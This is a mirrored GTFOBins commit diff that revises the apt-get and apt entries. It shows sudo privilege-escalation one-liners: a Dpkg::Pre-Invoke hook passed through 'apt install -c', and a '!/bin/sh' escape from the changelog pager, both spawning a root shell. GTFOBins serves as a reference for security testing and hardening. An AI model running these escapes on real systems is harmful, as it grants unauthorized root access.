mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Improve 'apt-* install' entries
Improve description, enforce standards and make sure that the package will not be installed. Related #38.
This commit is contained in:
parent
736f3482d3
commit
46fd726c5a
@ -10,8 +10,6 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
sudo apt-get changelog apt
|
sudo apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
- description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:'
|
- description: For this to work the target package (e.g., `sl`) must not be installed.
|
||||||
code: |
|
code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
|
||||||
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
|
|
||||||
sudo apt-get install -c ./test.conf sl
|
|
||||||
---
|
---
|
||||||
|
@ -10,8 +10,6 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
sudo apt-get changelog apt
|
sudo apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
- description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:'
|
- description: For this to work the target package (e.g., `sl`) must not be installed.
|
||||||
code: |
|
code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
|
||||||
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
|
|
||||||
sudo apt install -c ./test.conf sl
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user